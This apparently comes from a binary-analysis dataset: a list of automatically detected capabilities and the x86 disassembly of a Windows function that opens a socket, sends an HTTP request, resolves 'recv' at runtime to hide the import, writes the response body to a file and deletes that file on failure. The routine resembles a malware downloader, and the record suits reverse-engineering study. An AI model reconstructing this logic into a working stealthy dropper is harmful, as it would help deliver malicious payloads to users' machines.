Function at 0x4066d1
Capabilities:
Create tcp socket
Delete file
Initialize winsock library
Send data
Send data on socket
Send http request
Send http request with host header
Set socket configuration
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xff0
and dword [ebp - 0xff0], 0
and dword [ebp - 0xfc4], 0
and dword [ebp - 0x7b4], 0
and dword [ebp - 0xfec], 0
and dword [ebp - 0xfc0], 0
and dword [ebp - 0x3ac], 0
and dword [ebp - 0x198], 0
and dword [ebp - 0x194], 0
and dword [ebp - 0x3b0], 0
and dword [ebp - 0xfd8], 0
or dword [ebp - 0x7b8], 0xffffffff
and dword [ebp - 0x19c], 0
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x3a4], eax
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 2
pop eax
mov word [ebp - 0xfd4], ax
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xfd2], ax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0xfd0], eax
cmp dword [ebp - 0xfd0], 0xffffffff
jne 0x40678e
push 2
push dword [ebp + 8]
lea eax, [ebp - 0xfd0]
push eax
call fcn.0040a078
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x3a8], eax
push 0x10
lea eax, [ebp - 0xfd4]
push eax
push dword [ebp - 0x3a8]
call dword [0x413d90]
test eax, eax
je 0x4067cd
mov dword [ebp - 0xfc0], 2
jmp 0x406c00
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0xfd8], eax
push 1
push dword [ebp - 0xfd8]
push dword [ebp - 0x3a8]
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
mov dword [ebp - 0x194], 0x2710
push 4
lea eax, [ebp - 0x194]
push eax
push 0x1006
push 0xffff
push dword [ebp - 0x3a8]
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x200
push 0
lea eax, [ebp - 0x3a0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x410ab8
push 0x40dbb4
push 0x40d534
lea eax, [ebp - 0x3a0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x400
push 0
lea eax, [ebp - 0x7b0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push dword [ebp + 0x10]
lea eax, [ebp - 0x3a0]
push eax
lea eax, [ebp - 0x7b0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x7b0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0xff0], eax
push 0
push dword [ebp - 0xff0]
mov eax, dword [ebp - 0x3ac]
lea eax, [ebp + eax - 0x7b0]
push eax
push dword [ebp - 0x3a8]
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0xfc4], eax
mov eax, dword [ebp - 0x3ac]
add eax, dword [ebp - 0xfc4]
mov dword [ebp - 0x3ac], eax
mov eax, dword [ebp - 0xff0]
sub eax, dword [ebp - 0xfc4]
mov dword [ebp - 0xff0], eax
cmp dword [ebp - 0xff0], 0
jg 0x4068f0
jmp 0x406918
cmp dword [ebp - 0xfc4], 0
je 0x406902
cmp dword [ebp - 0xfc4], 0xffffffff
jne 0x406916
mov dword [ebp - 0xfc0], 3
jmp 0x406c00
jmp 0x406899
mov dword [ebp - 0xfe8], 0x76636572
and dword [ebp - 0xfe4], 0
lea eax, [ebp - 0xfe8]
push eax
push 0x40dc10
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x19c], eax
and dword [ebp - 0xfbc], 0
push 0x2710
push dword [ebp - 0xfd8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x40697b
mov dword [ebp - 0xfc0], 4
jmp 0x406c00
push 0x800
push 0
lea eax, [ebp - 0xfb8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0x800
lea eax, [ebp - 0xfb8]
push eax
push dword [ebp - 0x3a8]
call dword [ebp - 0x19c]
mov dword [ebp - 0xfc4], eax
mov eax, dword [ebp - 0xfbc]
inc eax
mov dword [ebp - 0xfbc], eax
cmp dword [ebp - 0xfc4], 0
je 0x4069d0
cmp dword [ebp - 0xfc4], 0xffffffff
jne 0x4069e4
mov dword [ebp - 0xfc0], 5
jmp 0x406c00
cmp dword [ebp - 0xfbc], 1
jne 0x406a19
push 0x40dc1c
lea eax, [ebp - 0xfb8]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
test eax, eax
jne 0x406a19
mov dword [ebp - 0xfc0], 6
jmp 0x406c00
lea eax, [ebp - 0xfb8]
push eax
call fcn.0040664a
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0
jne 0x406a56
cmp dword [ebp - 0xfbc], 1
jne 0x406a42
jmp 0x40694f
mov dword [ebp - 0xfc0], 7
jmp 0x406c00
push 0x40dc24
lea eax, [ebp - 0xfb8]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
add eax, 4
mov dword [ebp - 0xfec], eax
cmp dword [ebp - 0xfec], 4
jne 0x406a90
mov dword [ebp - 0xfc0], 8
jmp 0x406c00
mov eax, dword [ebp - 0xfec]
lea ecx, [ebp - 0xfb8]
sub eax, ecx
mov ecx, dword [ebp - 0xfc4]
sub ecx, eax
mov dword [ebp - 0x7b4], ecx
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x7b8], eax
cmp dword [ebp - 0x7b8], 0xffffffff
jne 0x406aea
mov dword [ebp - 0xfc0], 9
jmp 0x406c00
push 0
lea eax, [ebp - 0x194]
push eax
push dword [ebp - 0x7b4]
push dword [ebp - 0xfec]
push dword [ebp - 0x7b8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x3b0]
add eax, dword [ebp - 0x7b4]
mov dword [ebp - 0x3b0], eax
mov eax, dword [ebp - 0x3b0]
cmp eax, dword [ebp - 0x198]
jne 0x406b3f
mov dword [ebp - 0xfc0], 1
jmp 0x406c00
push 0x2710
push dword [ebp - 0xfd8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x406b6b
mov dword [ebp - 0xfc0], 0xa
jmp 0x406c00
push 0
push 0x800
lea eax, [ebp - 0xfb8]
push eax
push dword [ebp - 0x3a8]
call dword [ebp - 0x19c]
mov dword [ebp - 0xfc4], eax
cmp dword [ebp - 0xfc4], 0
je 0x406b9d
cmp dword [ebp - 0xfc4], 0xffffffff
jne 0x406bab
mov dword [ebp - 0xfc0], 0xb
jmp 0x406c00
push 0
lea eax, [ebp - 0x194]
push eax
push dword [ebp - 0xfc4]
lea eax, [ebp - 0xfb8]
push eax
push dword [ebp - 0x7b8]
call dword [ebp - 0x3a4]
mov eax, dword [ebp - 0x3b0]
add eax, dword [ebp - 0xfc4]
mov dword [ebp - 0x3b0], eax
mov eax, dword [ebp - 0x3b0]
cmp eax, dword [ebp - 0x198]
jne 0x406bfb
mov dword [ebp - 0xfc0], 1
jmp 0x406c00
jmp 0x406b3f
cmp dword [ebp - 0x3a8], 0xffffffff
je 0x406c23
push 2
push dword [ebp - 0x3a8]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [ebp - 0x3a8]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
cmp dword [ebp - 0xfd8], 0
je 0x406c3e
push dword [ebp - 0xfd8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x7b8], 0xffffffff
je 0x406c53
push dword [ebp - 0x7b8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xfc0], 1
je 0x406c65
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0xfc0]
leave
ret 0x10